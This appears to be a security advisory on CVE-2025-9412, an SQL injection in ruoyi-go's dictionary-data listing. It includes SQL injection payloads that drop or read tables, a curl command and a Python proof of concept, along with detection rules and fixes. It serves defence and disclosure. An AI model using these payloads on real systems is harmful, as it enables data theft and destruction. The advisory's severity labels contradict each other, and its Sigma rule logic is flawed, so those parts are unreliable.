CVE-2025-9412

Executive Summary

CVE-2025-9412 is a critical SQL injection vulnerability discovered in the ruoyi-go project by lostvip-com, affecting versions up to and including 2.1. The flaw resides in the SelectListByPage function within modules/system/dao/DictDataDao.go. By manipulating the orderByColumn and isAsc arguments, an unauthenticated remote attacker can inject arbitrary SQL commands, leading to data exfiltration, modification, or potential lateral movement within the database. The exploit is publicly available, and the vendor has not responded to disclosure attempts, leaving the vulnerability unpatched.

Supply Chain & Package Security

This vulnerability affects a Go-based project (ruoyi-go). As a Go module, it may be consumed as a dependency in other projects. Organizations using ruoyi-go as a library or framework component should immediately assess their exposure. The lack of a vendor patch means that any downstream project inherits this vulnerability. Supply chain risk is elevated due to the public exploit and unpatched status.

CVSS Breakdown & Threat Level

• CVSS Score: 6.3 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No user action required.
• Scope: Unchanged (S:U) – The vulnerability does not affect other components.
• Confidentiality Impact: Low (C:L) – Limited data exposure possible.
• Integrity Impact: Low (I:L) – Limited data modification possible.
• Availability Impact: Low (A:L) – Limited service disruption possible.

Threat Level: High due to public exploit availability and lack of patch.

Deep Dive & Mechanics

The vulnerability is a classic SQL injection in the SelectListByPage function of DictDataDao.go. The function constructs a SQL query by concatenating user-supplied orderByColumn and isAsc parameters directly into the ORDER BY clause without sanitization or parameterization.

Vulnerable Code Snippet (Conceptual):

func (d *DictDataDao) SelectListByPage(orderByColumn string, isAsc string) ([]DictData, error) {
    query := fmt.Sprintf("SELECT * FROM dict_data ORDER BY %s %s", orderByColumn, isAsc)
    rows, err := db.Query(query)
    // ...
}

An attacker can inject SQL by providing malicious input such as:

• orderByColumn: 1; DROP TABLE dict_data; --
• isAsc: ASC

This would result in the query:

SELECT * FROM dict_data ORDER BY 1; DROP TABLE dict_data; -- ASC

The -- comments out the rest of the query, allowing the attacker to execute arbitrary SQL statements.

Vulnerable vs. Patched Code

Vulnerable Code (ruoyi-go <= 2.1):

func (d *DictDataDao) SelectListByPage(orderByColumn string, isAsc string) ([]DictData, error) {
    query := fmt.Sprintf("SELECT * FROM dict_data ORDER BY %s %s", orderByColumn, isAsc)
    rows, err := db.Query(query)
    // ...
}

Patched Code (Hypothetical):

func (d *DictDataDao) SelectListByPage(orderByColumn string, isAsc string) ([]DictData, error) {
    // Whitelist allowed columns and sort orders
    allowedColumns := map[string]bool{"id": true, "name": true, "value": true}
    allowedAsc := map[string]bool{"ASC": true, "DESC": true}
    
    if !allowedColumns[orderByColumn] || !allowedAsc[isAsc] {
        return nil, fmt.Errorf("invalid order parameters")
    }
    
    query := "SELECT * FROM dict_data ORDER BY " + orderByColumn + " " + isAsc
    rows, err := db.Query(query)
    // ...
}

The patched version uses a whitelist approach to validate inputs before constructing the query, preventing injection.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• Target running ruoyi-go version <= 2.1
• Network access to the vulnerable endpoint (e.g., /api/dict/list)

Exploit Steps:

1. Identify the vulnerable endpoint that calls SelectListByPage.
2. Craft a malicious request with injected SQL in orderByColumn or isAsc.

Example Exploit (using curl):

curl -X GET "http://target.com/api/dict/list?orderByColumn=1;SELECT+*+FROM+users;--&isAsc=ASC"

Proof-of-Concept (Python):

import requests

target = "http://target.com/api/dict/list"
payload = "1; SELECT * FROM users; --"
params = {"orderByColumn": payload, "isAsc": "ASC"}
response = requests.get(target, params=params)
print(response.text)

Expected Outcome: The attacker can extract data from the users table or execute other SQL commands.

Blue Team (Defensive)

Detection:

• Monitor for unusual SQL query patterns in database logs.
• Look for HTTP requests with suspicious characters in orderByColumn or isAsc parameters (e.g., semicolons, comments, UNION).

Mitigation:

• Apply input validation and whitelisting as shown in the patched code.
• Use parameterized queries or prepared statements.
• Deploy a Web Application Firewall (WAF) with rules to block SQL injection patterns.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP requests containing SQL keywords (SELECT, UNION, DROP, etc.) in orderByColumn or isAsc parameters.
  • Unusual database queries with ORDER BY clauses containing semicolons or comments.

• File IOCs:

  • Modified DictDataDao.go files with suspicious content.
  • Log files showing SQL errors or injection attempts.

• Behavioral IOCs:

  • Unexpected database access patterns (e.g., large data dumps).
  • Unauthorized changes to database schema or data.

Detection Engineering

YARA Rule

rule CVE_2025_9412_SQL_Injection {
    meta:
        description = "Detects SQL injection attempts targeting ruoyi-go DictDataDao"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-9412"
    strings:
        $s1 = "orderByColumn" nocase
        $s2 = "isAsc" nocase
        $s3 = "SELECT" nocase
        $s4 = "UNION" nocase
        $s5 = "DROP" nocase
        $s6 = ";" 
    condition:
        all of ($s1, $s2) and 1 of ($s3, $s4, $s5, $s6)
}

Sigma Rule

title: SQL Injection Attempt Against ruoyi-go DictDataDao
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects SQL injection attempts targeting the orderByColumn or isAsc parameters in ruoyi-go
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-uri-query|contains:
            - 'orderByColumn='
            - 'isAsc='
        cs-uri-query|contains|all:
            - ';'
            - 'SELECT'
            - 'UNION'
            - 'DROP'
    condition: selection
falsepositives:
    - Legitimate use of semicolons in parameters (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-9412 SQL Injection Attempt"; flow:to_server,established; content:"orderByColumn"; http_uri; content:";"; http_uri; content:"SELECT"; http_uri; sid:2025041001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate affected systems from untrusted networks.
2. Apply input validation and whitelisting to orderByColumn and isAsc parameters.
3. Use parameterized queries or prepared statements to prevent SQL injection.
4. Deploy a WAF with rules to block SQL injection patterns.

Long-term Fix:

• Patch the code by implementing a whitelist of allowed column names and sort orders.
• Upgrade to a patched version if the vendor releases one.
• Conduct a security audit of the entire codebase for similar vulnerabilities.

Workaround:

• If patching is not possible, disable the vulnerable endpoint or restrict access via network controls.

Valters IT